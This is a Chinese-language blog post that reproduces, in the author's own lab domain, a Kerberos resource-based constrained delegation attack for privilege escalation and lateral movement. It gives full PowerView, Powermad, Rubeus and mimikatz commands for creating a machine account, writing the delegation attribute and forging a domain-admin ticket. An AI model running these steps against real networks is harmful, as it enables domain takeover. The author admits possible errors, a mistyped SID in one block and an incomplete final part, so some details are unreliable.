资源委派(提权/横向移动)
早在之前看一篇名为”烂番茄提取”的文章的时候就想复现,后面一直没用成功。昨天在搞ACL的时候发现kerberos资源委派提前权,一看。说的不就是这吗,捣鼓了一下写篇文章
介绍
利用用户的ACL(msDS-AllowedToActOnBehalfOfOtherIdentity)属性配合kerberos S4U实现凭证伪造
(原文章没怎么说原理,烂番茄那篇说的有点复杂。我可能没有描述完整(甚至可能有错误),如果想深入了解原理可以看原文
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/)
使用msDS-AllowedToActOnBehalfOfOtherIdentity属性实现横向/提权
msDS-AllowedToActOnBehalfOfOtherIdentity介绍:ms-DS允许代表其他身份采取行动
利用要求:
* 目标DC是windows server 2012或以上
* 域用户拥有ACL GenericAll/GenericWrite/WriteProperty权限(使用目标域用户加入域的时候默认自带这些权限)
* 目标机器名称
* 域管理用户名称
测试环境
domain:YAYI.local (原本叫domain.local那个域被我玩炸了…重装了)
域管用户:yayis
ip:192.168.113.132 DC
ip:192.168.113.223 YYC (域内主机)
用到的工具:
- powerview
- Powermad
- Rubeus
- mimikatz
- impacket工具套件
复现过程
首先进行ACL权限检测,当前域用户是否有权限创建新的计算机。能利用的ACL为
(GenericAll/GenericWrite/WriteProperty)
import-Module Powerview.ps1
Get-ObjectAcl -SamAccountName "YYC" -ResolveGUIDs | out-file save.txt #搜索自己的UID和搜索关键字GenericAll/GenericWrite/WriteProperty
拥有其中一个ACL权限即可
获取域控名称和ip(确定域控版本和系统)
Get-DomainController
查询一个域用户最多可以创建多少台计算机
Get-DomainObject -Identity "dc=YAYI,dc=local" -Domain YAYI.local
查询目标机的msds-allowedtoactonbehalfofotheridentity是否被写入
Get-NetComputer YYC | Select-Object -Property name, msds-allowedtoactonbehalfofotheridentity
创建一个计算机用户
import-module powermad
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose #新建一个计算机账户,密码为123456。
查询新创建的计算机用户的SID
Get-DomainComputer fake01
SID:S-1-5-21-2210433587-4071140994-1849857373-1122
为FAKE01计算机主体创建一个新的原始安全描述符
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
(实验的时候打错SID了就不贴图了)
修改目标计算机SID
Get-DomainComputer YYC | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
忘记截图了,拿文章的图代替一下。。
提醒-我们之所以能够这样写,是因为Account Operators于安全组进YAYI\Account Operators,尽管唯一重要的/足够的是写权限,但它可以完全控制目标计算机YYC$
(原文写的是 Operations用户,不过我找不到这个。到找到了Account Operations)
自己实现时找到的
一旦msds允许作为其他身份被设置,它在这里是可见的
同样的道理也可以这样看
Get-DomainComputer YYC -Properties 'msds-allowedtoactonbehalfofotheridentity'
配置FAKE01的机器绑定到YYC的机器
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2210433587-4071140994-1849857373-1122)" #这里的SID为新加的计算机账户的SID
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer YYC| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
获取hash
.\Rubeus.exe hash /password:123456 /user:fake01 /domain:YAYI.local
RC4 hash:32ED87BDB5FDC5E9CBA88547376818D4
伪造域管理员的凭证导入 (这个凭证只能在YYC上使用)
.\Rubeus.exe s4u /user:fake01$ /domain:YAYI.local /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /impersonateuser:yayis /msdsspn:host/YYC /altservice:cifs,host /ptt #导入cifs和host的票据,不导入host票据无法正常使用spexec ?(host票据包含cifs票据)
如果要在别的机子上使用kerberos的凭证,则需要impacket的pyGet.py或者mimikatz导出ccache
mimikatz.exe "kerberos::list /export" "exit"
导入凭证利用,可以使用mimikatz或者set命令
mimikatz "kerberos::ptc yayis.ccache" "exit"
使用set命令,set KRB5CCNAME=yayis.ccache
其实后面还有一点,这个复现的不是很成功。后面的内容有点乱,写出来容易搞混,就不写了
上面提到的ACL一台机器使用域用户连接DC的时候就已经把ACL设置留下来了。我觉得使用powerview
对着每台机器查有权限控制这台机器的SID,可以横着走。(纯属理论,实际上有待测验)
参考链接
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:资源委派(提权/横向移动)
本文作者:九世
发布时间:2020-08-03, 23:36:05
最后更新:2020-08-04, 00:28:35
原始链接:http://jiushill.github.io/posts/c34daaac.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。